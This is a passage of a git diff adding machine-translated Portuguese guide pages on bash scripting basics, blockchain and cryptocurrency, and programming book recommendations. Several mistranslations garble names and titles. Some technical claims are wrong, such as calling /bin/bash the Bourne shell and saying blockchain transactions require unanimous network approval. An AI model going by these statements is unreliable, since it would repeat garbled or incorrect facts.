+zach@marigold:~$ echo "Hello world!" 
+ Hello world! 
+```
+
+Como você pode ver, usamos o comando echo para imprimir a string "Hello world!" para o terminal.
+
+## Escrevendo um script bash
+
+Você também pode colocar todos os seus comandos bash em um arquivo .sh e executá-los a partir da linha de comando. Digamos que você tenha um script bash com o seguinte conteúdo:
+```
+#!/bin/bash 
+ echo "Hello world!" 
+```
+
+Vale a pena notar que a primeira linha do script começa com `#!` . É uma diretiva especial que o Unix trata de maneira diferente.
+
+#### Por que usamos o #! / Bin / bas no início do arquivo de script?
+
+Isso é porque é uma convenção deixar o shell interativo saber que tipo de interpretador executar para o programa que segue. A primeira linha diz ao Unix que o arquivo deve ser executado por / bin / bash. Esta é a localização padrão do shell Bourne em praticamente todos os sistemas Unix. Adicionando #! / Bin / bash como a primeira linha do seu script, o sistema operacional invoca o shell especificado para executar os comandos que seguem o script. `#!` é frequentemente referido como "hash-bang", "she-bang" ou "sha-bang". Embora seja executado somente se você executar seu script como um executável. Por exemplo, quando você digita `./scriptname.extension` , ele examinará a linha superior para descobrir o interpretador, enquanto, executando o script como `bash scriptname.sh` , a primeira linha será ignorada.
+
+Então você poderia executar o script da seguinte forma: Para tornar o arquivo executável você deve chamar este comando sob sudo chmod + x "filename".
+```
+zach@marigold:~$ ./myBashScript.sh 
+ Hello world! 
+```
+
+O script tem apenas duas linhas. O primeiro indica qual interpretador usar para executar o arquivo (neste caso, bash). A segunda linha é o comando que queremos usar, echo, seguido do que queremos imprimir, que é "Hello World".
+
+Às vezes, o script não será executado e o comando acima retornará um erro. É devido às permissões definidas no arquivo. Para evitar esse uso:
+```
+zach@marigold:~$ chmod u+x myBashScript.sh 
+```
+
+\` E então execute o script.
+
+### Mais Informações:
+
+*   Wikipedia: https://en.wikipedia.org/wiki/Bash _(_ shell _Unix_ )
+*   tldp.org Guia para Bash: http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html#toc2
+*   gnu.org Manual de Bash: https://www.gnu.org/software/bash/manual/html _node / index.html # SEC_ Conteúdo
+*   Tutorial de scripts da Shell para começar: https://www.shellscript.sh/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/blockchain/cryptocurrency/index.md b/client/src/guide/portuguese/blockchain/cryptocurrency/index.md
new file mode 100644
index 0000000000..e822ef256b
--- /dev/null
+++ b/client/src/guide/portuguese/blockchain/cryptocurrency/index.md
@@ -0,0 +1,22 @@
+---
+title: Cryptocurrency
+localeTitle: Criptomoeda
+---
+## Criptomoeda
+
+> Anunciando o primeiro lançamento do Bitcoin, um novo sistema de caixa eletrônico que utiliza uma rede peer-to-peer para evitar gastos duplicados. É completamente descentralizado sem servidor ou autoridade central.
+> 
+> \- Satoshi Nakamoto, 09 de janeiro de 2009, anunciando o Bitcoin no SourceForge.
+
+Criptomoeda é um subconjunto da moeda digital, que atua como um meio de troca entre duas partes. É conhecido como criptomoeda por causa da utilização da criptografia na proteção de suas transações. Existem várias criptomoedas incluindo LiteCoin, Dash, Ethereum, Ripple e o Bitcoin atualmente mais popular. É a maneira perfeita de fazer transações sem confiança, pois não envolve terceiros.
+
+Ao contrário da moeda normal, a criptomoeda pode ser trocada como frações. Por exemplo, as transações podem chegar a 0,00007 Btc ou até inferiores.
+
+Se você quiser ganhar bitcoins por meio da mineração, isso pode ser feito resolvendo problemas matemáticos de prova de trabalho que validam as transações. Blockchain usa o conceito de função hash criptográfica irreversível que consiste em adivinhar um número aleatório (geralmente menor que um determinado valor) para resolver o problema para a validação da transação. Você precisará de máquinas com alto poder de processamento para resolver esses problemas (por exemplo, Fast-Hash One ou CoinTerra TerraMiner IV).
+
+#### Mais Informações:
+
+[Criptomoeda](https://en.wikipedia.org/wiki/Cryptocurrency)  
+[Guia final para Cryptocurrency](https://blockgeeks.com/guides/what-is-cryptocurrency)
+
+[Bitcoin](https://en.wikipedia.org/wiki/Bitcoin)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/blockchain/features/index.md b/client/src/guide/portuguese/blockchain/features/index.md
new file mode 100644
index 0000000000..4adeeb7730
--- /dev/null
+++ b/client/src/guide/portuguese/blockchain/features/index.md
@@ -0,0 +1,59 @@
+---
+  title : Features of BlockTech
+localeTitle: Recursos do BlockTech
+---
+## Recursos da tecnologia Blockchain
+
+Blockchain é quase sempre usado em vez de Bitcoin e cryptocurrency. No entanto, existem muitos outros lugares em que essa tecnologia pode ser usada. E estamos começando a arranhar a superfície dela. Com todo o hype em torno disso, sabemos, a Blockchain Technology (BlockTech) vai ser enorme. Mas o que o torna único?
+
+Neste artigo, vamos explorar os principais recursos característicos da BlockTech.
+
+#### _\* Sistema descentralizado_
+
+> Blockchain é uma tecnologia descentralizada, por design.
+
+Quando algo é controlado por uma autoridade central, onde o poder de tomar decisões está nas mãos do ápice da administração, esse sistema é chamado de Sistema Centralizado. Os bancos, por exemplo, são um sistema centralizado, onde é responsabilidade do governador tomar decisões.
+
+Pelo contrário, quando o poder é investido nas mãos das pessoas ou dos usuários, esse sistema é considerado um Sistema Descentralizado. A rede peer to peer, Torrent, por exemplo, é um sistema descentralizado, onde o usuário tem controle completo.
+
+![Sistemas descentralizados](https://raw.githubusercontent.com/Vagisha16/Hw3/master/blockchain_article_pic.jpg)
+
+#### _\* Ledger distribuído_
+
+> Os blockchains usam a tecnologia Ledger distribuída (DLT) para armazenar e acessar os dados.
+
+Quando algo é armazenado em um Razão Distribuído, várias cópias dele são feitas na rede ao mesmo tempo. Ao contrário dos bancos de dados tradicionais, o ledger distribuído não possui um banco de dados central ou funcionalidade de administração.
+
+![Ledger distribuído](https://qph.fs.quoracdn.net/main-qimg-2e24c4949a63eefa9bbab1773e185cdd)
+
+Quando aplicado em um sistema descentralizado como o Blockchain, cada usuário possui uma cópia do ledger e participa da verificação da transação. Isso dá à Blockchain a propriedade de Imutabilidade e garante segurança. Desde então, os dados são distribuídos, não há versão centralizada dos dados para os hackers para corromper. Os dados e os registros são públicos e facilmente verificáveis. Isso também elimina o ponto único de falha.
+
+#### _\* Ecossistema Seguro (Hash Criptográfico)_
+
+A BlockTech usa os conceitos como prova de trabalho e criptografia Hash para garantir segurança e imutabilidade. A prova de trabalho envolve várias pessoas em todo o mundo usando algoritmo computacional para tentar encontrar o valor de hash apropriado que satisfaz uma condição predefinida em relação ao valor de hash.
+
+![Hashing](https://raw.githubusercontent.com/Vagisha16/Hw3/master/Hash.png)
+
+![Prova de Trabalho](https://qph.fs.quoracdn.net/main-qimg-098a67b40e4d0f625cf2cbbda2c95df0)
+
+#### _\* Mineração_
+
+Torrent é uma rede descentralizada peer-to-peer usada para compartilhar arquivos. A BlockTech usa tecnologia similar. O que diferencia os usuários é que, em Torrent, o sistema conta com o código de honra dos usuários para semear os arquivos. Considerando que, no blockchain, os usuários envolvidos na transação possuem incentivos econômicos. Esses usuários são chamados de "mineiros". Os mineiros gastam seus recursos de computação para resolver os hashes criptográficos e garantir a imutabilidade e a confiabilidade da transação. Toda solução bem-sucedida (decodificação) garante algum benefício econômico.
+
+![Mineração](https://raw.githubusercontent.com/Vagisha16/Hw3/master/5f6609014470f4b0122de37eb09dbfc7.jpg)
+
+#### _\* Cronológica e Hora carimbada_
+
+Os blockchains, idealmente, são apenas listas vinculadas muito sofisticadas, em que cada bloco é um repositório que armazena informações pertencentes a uma transação e também vincula-se ao bloco anterior na mesma transação. Esses blocos são organizados em uma ordem e são marcados com o tempo durante a criação para garantir um registro justo.
+
+#### _\* Baseado em consenso_
+
+Consensus Based é uma abordagem para tomada de decisão. É uma maneira criativa e dinâmica de chegar a um acordo entre todos os membros de um grupo. Uma transação no Blockchain pode ser executada somente se todas as partes na rede aprovarem por unanimidade. No entanto, está sujeito a alterações para se adequar a várias circunstâncias.
+
+### Fontes
+
+1.  [Ledger distribuído](https://searchcio.techtarget.com/definition/distributed-ledger)
+2.  [O que é semeadura](http://help.utorrent.com/customer/portal/articles/164656)
+3.  [Mecanismo de consenso](https://www.seedsforchange.org.uk/consensus)
+4.  [Principais características do blockchain](https://cryptocurry.com/news/top-4-major-features-blockchain/)
+5.  [Aplicativo e recursos do Blockchain](https://arxiv.org/pdf/1806.03693.pdf)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/blockchain/index.md b/client/src/guide/portuguese/blockchain/index.md
new file mode 100644
index 0000000000..7494b04bd6
--- /dev/null
+++ b/client/src/guide/portuguese/blockchain/index.md
@@ -0,0 +1,42 @@
+---
+title: Blockchain
+localeTitle: Cadeia bloco
+---
+## Blockchain
+
+> "É um banco de dados descentralizado que armazena um registro de ativos e transações através de uma rede peer-to-peer. É basicamente um registro público de quem possui o quê e quem transaciona o quê. As transações são protegidas por criptografia e ao longo do tempo fica bloqueado em blocos de dados que são, então, criptograficamente vinculados e protegidos. Isso cria um registro imutável e inexeqüível de todas as transações nessa rede. Esse registro é replicado em todos os computadores que usam a rede. "
+> 
+> \- Betina Warburg 1
+
+Blockchain é frequentemente associado com Bitcoin e outras criptomoedas, mas elas não são a mesma coisa. O Bitcoin foi o primeiro a implementar o conceito do Blockchain. A estrutura de uma blockchain, uma lista crescente de registros, pode ser aplicada a muitos outros campos, como identidade digital, cadeia de suprimentos e até mesmo [democracia](https://www.democracy.earth/) .
+
+Mesmo que o blockchain possa ser aplicado a uma grande variedade de problemas, não é a solução para tudo. Essa tecnologia é geralmente usada para resolver problemas em que as peças não confiam umas nas outras.
+
+Um terceiro é geralmente necessário para validar as relações de confiança. No exemplo mais comum, que é o sistema bancário, é necessária uma autoridade confiável, como um banco, para intermediar transações, gerenciar contas, verificar saldos e validar transferências. Blockchain, em seguida, vem neste caso para substituir a autoridade reguladora. No caso de criptomoedas, substitui a figura do banco, fazendo todas as validações e garantindo a segurança e a veracidade nas transações.
+
+Por este motivo, Blockchain também é conhecido como **"The Trust Protocol"** .
+
+### História
+
+O primeiro trabalho em uma cadeia de blocos protegidos criptograficamente foi descrito em 1991 por Stuart Haber e W. Scott Stornetta. Eles queriam implementar um sistema em que os registros de data e hora dos documentos não pudessem ser violados ou retroativos. Em 1992, Bayer, Haber e Stornetta incorporaram as árvores Merkle ao projeto, o que melhorou sua eficiência ao permitir a coleta de vários documentos em um único bloco.
+
+O primeiro blockchain foi conceituado por uma pessoa (ou grupo de pessoas) conhecido como Satoshi Nakamoto em 2008. Ele foi implementado no ano seguinte por Nakamoto como um componente principal do bitcoin criptomoeda, onde serve como razão pública para todas as transações no mercado. rede.
+
+Em agosto de 2014, o tamanho do arquivo blockchain do bitcoin, contendo registros de todas as transações que ocorreram na rede, atingiu 20 GB (gigabytes). Em janeiro de 2015, o tamanho cresceu para quase 30 GB e, de janeiro de 2016 a janeiro de 2017, o blockchain de bitcoin cresceu de 50 GB para 100 GB. Além disso, Nakamoto introduziu o conceito de prova de trabalho para garantir uma confiança mais descentralizada na segurança dos registros.
+
+As palavras bloco e corrente foram usadas separadamente no artigo original de Satoshi Nakamoto, mas acabaram sendo popularizadas como uma única palavra, blockchain, até 2016. O termo blockchain 2.0 refere-se a novas aplicações do banco de dados de blockchain distribuído, surgindo em 2014. The Economist descreveu uma implementação deste blockchain programável de segunda geração vem com "uma linguagem de programação que permite aos usuários escrever contratos inteligentes mais sofisticados, criando faturas que se pagam quando uma remessa chega ou compartilha certificados que automaticamente enviam dividendos a seus proprietários se os lucros atingirem uma certa nível."
+
+A partir de 2016, as implementações do blockchain 2.0 continuam a exigir um oráculo off-chain para acessar quaisquer "dados externos ou eventos baseados em tempo ou condições de mercado para interagir com o blockchain".
+
+#### Fontes
+
+1.  [Bettina Warburg, "Como a blockchain transformará radicalmente a economia", _TED Talks_ , 8 de dezembro de 2016](https://youtu.be/RplnSVTzvnU?t=213)
+
+##### Mais Informações
+
+*   [WTF é o blockchain?](https://hackernoon.com/wtf-is-the-blockchain-1da89ba19348)
+*   [Blockchain: a revolução para a qual não estamos prontos](https://medium.freecodecamp.org/blockchain-is-our-first-22nd-century-technology-d4ad45fca2ce)
+*   [Como o blockchain está mudando dinheiro e negócios | Don Tapscott (vídeo do YouTube)](https://www.youtube.com/watch?v=Pl8OlkkwRpc)
+*   [Introdução ao Bitcoin, Ethereum e Smart Contratos](https://github.com/WizardOfAus/WizardsEthereumWorkshop)
+*   [Artigos acadêmicos Blockchain](https://github.com/decrypto-org/blockchain-papers)
+*   [Recursos de Blockchain](https://github.com/BlockchainDevs/CryptocurrencyAwesome/blob/master/README.md)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/blockchain/smart-contracts/index.md b/client/src/guide/portuguese/blockchain/smart-contracts/index.md
new file mode 100644
index 0000000000..93e9f0f432
--- /dev/null
+++ b/client/src/guide/portuguese/blockchain/smart-contracts/index.md
@@ -0,0 +1,8 @@
+title: Smart Contracts
+localeTitle: undefined
+---
+## Contratos Inteligentes
+
+Transações em um blockchain são um contrato muito básico - Uma parte envia recursos para outra. No blockchain Etherium, as transações podem suportar qualquer tipo de lógica. Eles têm o expressivo poder de uma máquina Turing-Complete - o que significa que podem ser passos para uma tarefa que um computador pode fazer.
+
+Como um pedaço de código que fica no blockchain, um contrato inteligente pode automatizar tarefas. Quando uma conta recebe dinheiro, ela pode distribuí-la automaticamente para outras pessoas. Isso é totalmente transparente para que todos os nós (mineiros) possam ver qual lógica está sendo executada.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/blockchain/types/index.md b/client/src/guide/portuguese/blockchain/types/index.md
new file mode 100644
index 0000000000..6785d6ba4a
--- /dev/null
+++ b/client/src/guide/portuguese/blockchain/types/index.md
@@ -0,0 +1,45 @@
+---
+  title : Types of Blockchain
+localeTitle: Tipos de blockchain
+---
+![Blockchain](https://github.com/Vagisha16/Hw3/blob/master/blockchain-what-and-why-19-638.jpg?raw=true)
+
+## Tipos de blockchain
+
+A partir de agora, existem basicamente três tipos de blockchains que surgiram. Essas são classificações amplas baseadas na maneira como a tecnologia é usada e manipulada.
+
+1.  Blockchain privado
+2.  Bloqueio Público
+3.  Blockchain federado (híbrido)
+
+#### 1\. Blockchain Privado
+
+Tecnologia Blockchain que pertence a uma entidade privada ou a uma organização. É uma arquitetura descentralizada, mas alguns poderes para tomar decisões são investidos nas mãos da pessoa encarregada.
+
+A pessoa responsável é responsável por conceder acessos e permissões seletivas, como leitura / gravação.
+
+Exemplo: Bankchain, Hyperledger
+
+#### 2\. Blockchain Pública
+
+Nesta arquitetura, ninguém é responsável. Qualquer um e todos podem participar lendo, escrevendo e auditando o blockchain.
+
+O Blockchain público é aberto e transparente e, portanto, está aberto para revisão por qualquer pessoa que esteja disposta a fazê-lo, em qualquer ponto do tempo.
+
+Exemplo: Bitcoin, Litecoin
+
+#### 3\. Blockchain Federado
+
+Neste tipo de blockchain o problema do blockchain privado é resolvido. A questão da autonomia exclusiva, investindo o poder nas mãos de um indivíduo, é feita por meio de mais de uma pessoa encarregada.
+
+Um grupo de pessoas se reúne para formar um consórcio ou federação. Que por sua vez trabalha em conjunto para o bem comum.
+
+Exemplo: [Energy Web Foundation](http://energyweb.org/)
+
+Existe outra categoria para classificação, baseada na permissão concedida à rede blockchain. Eles são classificados como -
+
+1.  Bloqueio Público Autorizado
+2.  Blockchain Autorizado Privado
+3.  Blockchain sem permissão
+
+Este artigo não é um trabalho original e é inspirado e tirado [daqui](https://coinsutra.com/different-types-blockchains/) e [daqui](https://data-flair.training/blogs/types-of-blockchain/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/book-recommendations/algorithms-in-js-books/index.md b/client/src/guide/portuguese/book-recommendations/algorithms-in-js-books/index.md
new file mode 100644
index 0000000000..31efe0b3f5
--- /dev/null
+++ b/client/src/guide/portuguese/book-recommendations/algorithms-in-js-books/index.md
@@ -0,0 +1,23 @@
+---
+title: Algorithms in JavaScript books
+localeTitle: Algoritmos em livros JavaScript
+---
### Lista de livros
+
+_Estruturas de dados em JavaScript_
+
+*   Livro grátis que abrange estruturas de dados em JavaScript
+*   [GitBook](https://www.gitbook.com/book/pmary/data-structure-in-javascript/details)
+
+_Aprendendo Estruturas de Dados e Algoritmos JavaScript - Segunda Edição_
+
+*   Cobre programação orientada a objetos, herança de protótipos, algoritmos de ordenação e busca, quicksort, mergesort, árvores de busca binária e conceitos avançados de algoritmos
+*   [Amazon](https://www.amazon.com/Learning-JavaScript-Data-Structures-Algorithms/dp/1785285491)
+*   ISBN-13: 978-1785285493
+
+_Estruturas de Dados e Algoritmos com JavaScript: Trazendo abordagens clássicas de computação para a Web_
+
+*   Cobre algoritmos de recursão, classificação e pesquisa, listas vinculadas e árvores de pesquisa binária.
+*   [Amazon](https://www.amazon.com/Data-Structures-Algorithms-JavaScript-approaches/dp/1449364934)
+*   ISBN-13: 978-1449364939
+
+Por favor, sinta-se livre para adicionar mais que você achou útil!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/book-recommendations/haskell/index.md b/client/src/guide/portuguese/book-recommendations/haskell/index.md
new file mode 100644
index 0000000000..361e976901
--- /dev/null
+++ b/client/src/guide/portuguese/book-recommendations/haskell/index.md
@@ -0,0 +1,13 @@
+---
+title: Books on Haskell
+localeTitle: Livros sobre Haskell
+---
+\### Lista de livros
+
+_Learn You a Haskell for Great Good_ é um dos melhores livros para iniciantes que mergulham no mundo de Haskell. Cheio de ilustrações.
+
+E sim, o e-book é grátis!
+
+*   [Local na rede Internet](http://learnyouahaskell.com/)
+*   [Nenhuma imprensa do amido](https://nostarch.com/lyah.htm)
+*   [E-book](http://learnyouahaskell.com/chapters) (grátis)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/book-recommendations/index.md b/client/src/guide/portuguese/book-recommendations/index.md
new file mode 100644
index 0000000000..fbb6c5cf9c
--- /dev/null
+++ b/client/src/guide/portuguese/book-recommendations/index.md
@@ -0,0 +1,257 @@
+---
+title: Books to Read for Programmers
+localeTitle: Livros para ler para programadores
+---
+### Lista de livros
+
+## Geral
+
+_Automatize o material chato com o Python_ por Al Sweigart
+
+*   http://automatetheboringstuff.com/
+*   ISBN-13: 978-1593275990
+
+_Estrutura e Interpretação de Programas de Computador_ por Harold Abelson, Gerald Jay Sussman e Julie Sussman
+
+*   https://mitpress.mit.edu/sicp/
+*   ISBN-13: 978-0262510875
+
+_Código Limpo: Um Manual de Artes Cálias de Software_ por Robert C. Martin
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882?sa-no-redirect=1)
+*   ISBN-13: 978-0132350884
+
+_CÓDIGO: A Linguagem Oculta de Hardware e Software de Computador_ por Charles Petzold
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Code-Language-Computer-Hardware-Software/dp/0735611319/ref=sr_1_1?s=books&ie=UTF8&qid=1508780869&sr=1-1&keywords=code)
+*   ISBN-13: 978-0735611313
+
+_Não me faça pensar, revisitado: uma abordagem de senso comum para a usabilidade na Web por Steve Krug_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Dont-Make-Think-Revisited-Usability/dp/0321965515/ref=sr_1_1?ie=UTF8&qid=1538370339&sr=8-1&keywords=dont+make+me+think)
+*   ISBN-13: 978-0321965516
+
+_Programming Pearls (2nd Edition) por Jon Bentley_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Programming-Pearls-2nd-Jon-Bentley/dp/0201657880)
+*   ISBN-13: 978-0201657883
+
+_Estrutura e Interpretação de Programas de Computador_
+
+*   https://mitpress.mit.edu/sicp/
+*   ISBN-13: 978-0262510875
+
+_O Programador Pragmático: Do ​​Viajante ao Mestre_ por Andrew Hunt e David Thomas
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Pragmatic-Programmer-Journeyman-Master/dp/020161622X?sa-no-redirect=1)
+*   ISBN-13: 978-0201616224
+
+_O Programador Auto-Didático: O Guia Definitivo para Programação Profissional_ por Cory Althoff
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Self-Taught-Programmer-Definitive-Programming-Professionally-ebook/dp/B01M01YDQA?sa-no-redirect=1)
+*   ISBN-13: 978-1520288178
+
+_Você não sabe JS (série de livros)_ por Kyle Simpson
+
+*   https://github.com/getify/You-Nont-Know-JS
+*   ISBN-13: 9781491924464
+
+_Soft Skills: O manual de vida do desenvolvedor de software_ - John Sonmez
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Soft-Skills-software-developers-manual/dp/1617292397?pldnSite=1)
+*   ISBN-13: 9781617292392
+
+## Algoritmos
+
+_Introdução aos Algoritmos, 3a Edição (MIT Press)_ por Thomas H. Cormen e Charles E. Leiserson
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Introduction-Algorithms-3rd-MIT-Press/dp/0262033844/)
+*   ISBN-13: 978-0262033848
+
+_Cracking the Coding Interview: 150 perguntas e soluções de programação_ por Gayle Laakmann McDowell
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Cracking-Coding-Interview-Programming-Questions/dp/098478280X)
+*   ISBN-13: 978-0984782802
+
+## C-lang
+
+_A linguagem de programação C_ por Brian W. Kernighan e Dennis M. Ritchie
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Programming-Language-2nd-Brian-Kernighan/dp/0131103628/)
+*   ISBN-13: 978-0131103628
+
+_Um livro sobre C: Programação em C_
+
+*   [Amazon](https://www.amazon.com/Book-Programming-4th-Al-Kelley/dp/0201183994/ref=cm_cr_arp_d_bdcrb_top?ie=UTF8)
+*   ISBN-13: 978-0201183993
+
+## Entrevista de Codificação
+
+_Quebrando a entrevista de codificação: 150 perguntas e soluções de programação_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Cracking-Coding-Interview-Programming-Questions/dp/098478280X)
+*   ISBN-13: 978-0984782802
+
+_Entrevistas de Programação Expostos: Segredos para Landing Your Next Job, 2nd Edition_
+
+*   [Wiley](https://www.wiley.com/en-id/Programming+Interviews+Exposed:+Secrets+to+Landing+Your+Next+Job,+2nd+Edition-p-9780470121672)
+*   ISBN: 978-0-470-12167-2
+
+## Java
+
+_Head First Java_ de Kathy Sierra e Bert Bates
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Head-First-Java-Kathy-Sierra/dp/0596009208)
+*   ISBN-13: 978-0596009205
+
+_Java eficaz por Joshua Bloch_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Effective-Java-3rd-Joshua-Bloch/dp/0134685997)
+*   ISBN-13: 978-0134685991
+
+## JavaScript
+
+_Você não sabe JS (série de livros)_
+
+*   https://github.com/getify/You-Nont-Know-JS
+*   ISBN-13: 9781491924464
+
+_JavaScript eloquente: uma introdução moderna à programação por Marijn Haverbeke_
+
+*   [Leia on-line aqui](https://eloquentjavascript.net)
+*   [Sorriso da Amazônia](https://smile.amazon.com/gp/product/1593275846/ref=as_li_qf_sp_asin_il_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=1593275846&linkCode=as2&tag=marijhaver-20&linkId=VPXXXSRYC5COG5R5) -ISBN-13: 978-1593275846
+
+_JavaScript: as boas partes_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/JavaScript-Good-Parts-Douglas-Crockford/dp/0596517742)
+*   ISBN-13: 978-0596517748
+
+_JavaScript e JQuery: Desenvolvimento Web de front-end interativo_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/JavaScript-JQuery-Interactive-Front-End-Development/dp/1118531647/?pldnSite=1)
+*   ISBN-13: 978-1118531648
+
+## Python
+
+_Automatize o material chato com o Python_
+
+*   http://automatetheboringstuff.com/
+*   ISBN-13: 978-1593275990
+
+_Programação de Aplicações Core Python (3ª Edição) por Wesley J Chun_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Core-Python-Applications-Programming-3rd/dp/0132678209)
+*   ISBN-13: 978-0132678209
+
+## Habilidades interpessoais
+
+_Soft Skills: O manual de vida do desenvolvedor de software_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Soft-Skills-software-developers-manual/dp/1617292397?pldnSite=1)
+*   ISBN-13: 9781617292392
+
+## De outros
+
+\* Hacking: Ultimate Hacking Guide: Hacking Para Iniciantes E Tor Browser
+
+*   https://www.amazon.in/dp/B075CX7T6G/ref=cm _sw_ r _cp_ awdb _t1_ -7ESBbZ43CCBM
+*   (ISBN 1976112524).
+
+\* Código: A Linguagem Oculta do Hardware e Software do Computador (Práticas Recomendadas para Desenvolvedores) \*
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Code-Language-Computer-Hardware-Software/dp/0735611319)
+*   ISBN-13: 978-0735611313
+
+_Estruturas de Dados e Algoritmos Facilitados_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Data-Structures-Algorithms-Made-Easy/dp/819324527X)
+*   ISBN-13: 978-8193245279
+
+_Pense Python: Como pensar como um cientista da computação_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Think-Python-Like-Computer-Scientist/dp/1491939362)
+*   ISBN-13: 978-1491939369
+
+_Curso intensivo de Python: Uma introdução prática à programação baseada em projeto_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Python-Crash-Course-Hands-Project-Based/dp/1593276036)
+*   ISBN-13: 978-1593276034
+
+_Ciência da Computação Destilada: Aprenda a arte de solucionar problemas computacionais por Wladston Ferreira Filho_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Computer-Science-Distilled-Computational-Problems/dp/0997316020)
+*   ISBN-13: 978-0-9773160-2-5
+
+_Algoritmos desbloqueados por Thomas H. Cormen_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Algorithms-Unlocked-Press-Thomas-Cormen/dp/0262518805)
+*   ISBN-13: 978-0262518802
+
+_Python Violento: Um Livro de Receitas para Hackers, Analistas Forenses, Testadores de Penetração e Engenheiros de Segurança_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Violent-Python-Cookbook-Penetration-Engineers/dp/1597499579/ref=sr_1_2?ie=UTF8&qid=1538665634&sr=8-2&keywords=violent+python)
+*   ISBN-13: 978-1597499576
+
+_O Manual do Shellcoder: Descobrindo e explorando os buracos de segurança_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Shellcoders-Handbook-Discovering-Exploiting-Security/dp/047008023X/ref=sr_1_1?ie=UTF8&qid=1538665772&sr=8-1&keywords=shellcoders+handbook+3rd+edition&dpID=41xfa6zpuPL&preST=_SX218_BO1,204,203,200_QL40_&dpSrc=srch)
+*   ISBN-13: 978-0470080238
+
+_Head First C: Um guia favorável ao cérebro_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Head-First-C-Brain-Friendly-Guide/dp/1449399916/ref=sr_1_2?ie=UTF8&qid=1538665818&sr=8-2&keywords=head+first+c&dpID=51StqzL2dWL&preST=_SX218_BO1,204,203,200_QL40_&dpSrc=srch)
+*   ISBN-13: 978-1449399917
+
+_Design prático orientado a objetos em Ruby_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Practical-Object-Oriented-Design-Ruby-Addison-Wesley/dp/0321721330)
+*   ISBN-13: 978-0321721334
+
+_Pensando em C ++ por Bruce Eckel_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Thinking-C-Bruce-Eckel/dp/0139177094)
+*   ISBN-13: 978-0139177095
+
+_Conceitos do sistema operacional_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Operating-System-Concepts-Abraham-Silberschatz/dp/1118063333/ref=sr_1_1?s=books&ie=UTF8&qid=1538967825&sr=1-1&keywords=operating+system+concepts+10th+edition&dpID=51Qy2upM%252BaL&preST=_SY291_BO1,204,203,200_QL40_&dpSrc=srch)
+*   ISBN-13: 978-1118063330
+
+_Redes de Computadores: Uma Abordagem Top-Down (7ª Edição) por Kurose e Ross_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Computer-Networking-Top-Down-Approach-7th/dp/0133594149/ref=sr_1_1?s=books&ie=UTF8&qid=1538967896&sr=1-1&keywords=kurose+and+ross&dpID=51xp1%252BoDRML&preST=_SX218_BO1,204,203,200_QL40_&dpSrc=srch)
+*   ISBN-13: 978-0133594140
+
+_Programação Competitiva 3: O Novo Limite Inferior dos Concursos de Programação_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Competitive-Programming-3rd-Steven-Halim/dp/B00FG8MNN8)
+*   ISBN-13: 978-5800083125
+
+_Programação Dinâmica para Entrevistas de Codificação: Uma abordagem Bottom-Up para a resolução de problemas_
+
+*   [Sorriso da Amazônia](https://smile.amazon.in/Dynamic-Programming-Coding-Interviews-Bottom-Up-ebook/dp/B06XZ61CMP)
+*   ISBN-13: 978-1946556691
+
+_GATE 2019 Ciência da Computação e Tecnologia da Informação_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/GATE-Computer-Science-Information-Technology/dp/194658178X)
+*   ISBN-13: 978-1946581785
+
+_A arte da programação de computadores por Donald E. Knuth_
+
+*   https://www-cs-faculty.stanford.edu/~knuth/taocp.html
+*   ISBN-13: 978-0321751041
+
+_Fatos e Falácias da Engenharia de Software_
+
+*   [Sorriso da Amazônia](https://smile.amazon.com/Facts-Fallacies-Software-Engineering-Robert/dp/0321117425/)
+*   ISBN-13: 978-0321117427
+
+The Mythical Man-Month: Ensaios sobre engenharia de software
+
+*   [Sorriso da Amazônia](https://www.amazon.com/Mythical-Man-Month-Software-Engineering-Anniversary/dp/0201835959)
+*   ISBN-13: 978-0201835953
+
+Esta lista foi compilada a partir de vários encadeamentos de sugestões no Reddit e no Stackoverflow.
+
+Por favor, sinta-se livre para adicionar mais que você achou útil!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/book-recommendations/javascript/index.md b/client/src/guide/portuguese/book-recommendations/javascript/index.md
new file mode 100644
index 0000000000..55b29f32d3
--- /dev/null
+++ b/client/src/guide/portuguese/book-recommendations/javascript/index.md
@@ -0,0 +1,28 @@
+---
+title: Books on JavaScript
+localeTitle: Livros sobre JavaScript
+---
+\### Lista de livros
+
